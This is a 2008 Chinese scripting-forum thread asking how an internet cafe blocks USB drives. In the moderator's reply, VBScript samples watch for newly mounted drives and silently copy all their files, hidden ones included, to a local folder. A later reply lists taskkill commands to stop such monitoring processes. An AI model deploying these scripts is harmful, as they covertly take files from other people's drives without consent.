中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名：www.cn-dos.net 论坛域名：www.cn-dos.net/forum
DOS，代表着自由开放与发展，我们努力起来，学习FreeDOS和Linux的自由开放与GNU精神，共同创造和发展美好的自由与GNU GPL世界吧！

游客: 注册 | 登录 | 命令行 | 会员 | 搜索 | 上传 | 帮助 »

中国DOS联盟论坛 » DOS批处理 & 脚本技术（批处理室） » 禁用USB问一问

sea1112
初级用户

积分 131
发帖 119
注册 2007-6-12
来自 gz
状态离线

『楼主』: 禁用USB问一问

我在网吧用USB出现在样的东西
一接U盘上去，黑屏了，不是会黑，中间写了几个大字，“你不能用U盘，请拿走！”，一拿走就不黑屏了。

我拿走了，看看进程，没看到什么进程在死运行的，如何用批做USB禁用我会，我想他不是这样做的吧，是后台运行别、还是一发现新硬件就运行的呢？

高手指点一下：1。批处理可以和发现新硬件同时运行吗？
2。新硬件拿去又运行另一个批处理可以吗？

2008-3-11 02:19

(24278528)

HAT
版主

积分 9023
发帖 5017
注册 2007-5-31
状态离线

『第 2 楼』:

研究一下别人写的这段VBS吧，也许你能搞个更牛的出来：）

Quote:

1. 监视新增所有驱动器，并复制所有新驱动器中的文件到D盘下

'随时监视插入的U盘或移动硬盘，有则自动复制其中的所有文件到d:\Tmp中
'把 fso.CopyFile 改成 fso.CopyFolder 则可以复制文件夹
'注意：包括隐藏和系统属性的文件或文件夹均被复制
'覆盖true 不覆盖false  不能覆盖具有只读属性的文件和文件夹
'若出现多个新盘符的话，每个盘中的文件均被复制

Set fso = CreateObject("Scripting.FileSystemObject")
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colEvents = objWMIService.ExecNotificationQuery ("Select * From __InstanceOperationEvent Within 5 Where " _
      & "TargetInstance isa 'Win32_LogicalDisk'")
Do While True
Set objEvent = colEvents.NextEvent
If objEvent.TargetInstance.DriveType = 3 Then
      If objEvent.Path_.Class = "__InstanceCreationEvent" Then
            NewDri = objEvent.TargetInstance.DeviceId
            fso.CopyFile NewDri & "\*","d:\Tmp\",true
      End If
End If
Loop

2.监视新增驱动器，只复制其中第1个分区中的所有文件到D盘下

Dim NewDri(9)
Set fso = CreateObject("Scripting.FileSystemObject")
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colEvents = objWMIService.ExecNotificationQuery ("Select * From __InstanceOperationEvent Within 5 Where " _
      & "TargetInstance isa 'Win32_LogicalDisk'")
Do While True
Set objEvent = colEvents.NextEvent
If objEvent.TargetInstance.DriveType = 3 Then
      If objEvent.Path_.Class = "__InstanceCreationEvent" Then
            i=i + 1
            NewDri(i) = objEvent.TargetInstance.DeviceId
            fso.CopyFile NewDri(i) & "\*","d:\Tmp\",true
      End If
End If
Loop

2008-3-11 14:30

fastslz
铂金会员

DOS一根葱

积分 5493
发帖 2315
注册 2006-5-1
来自上海
状态离线

『第 3 楼』:

taskkill.exe /f /im wscript.exe
taskkill.exe /f /im unsecapp.exe
taskkill.exe /f /im cscript.exe
taskkill.exe /f /im wmiprvse.exe
一般就有效了，除非他用第3方程序

第一高手 第二高手
我的小站

2008-3-11 15:07

huahua0919
银牌会员

积分 1608
发帖 780
注册 2007-10-7
状态离线

『第 4 楼』:

复制vbs学习

2008-3-11 15:30

sea1112
初级用户

积分 131
发帖 119
注册 2007-6-12
来自 gz
状态离线

『第 5 楼』:

这个不停的运行，不卡的吧

2008-3-11 20:13

(24278528)

请注意：您目前尚未注册或登录，请您注册或登录以使用论坛的各项功能，例如发表和回复帖子等。

可打印版本 | 推荐给朋友 | 订阅主题 | 收藏主题

论坛跳转: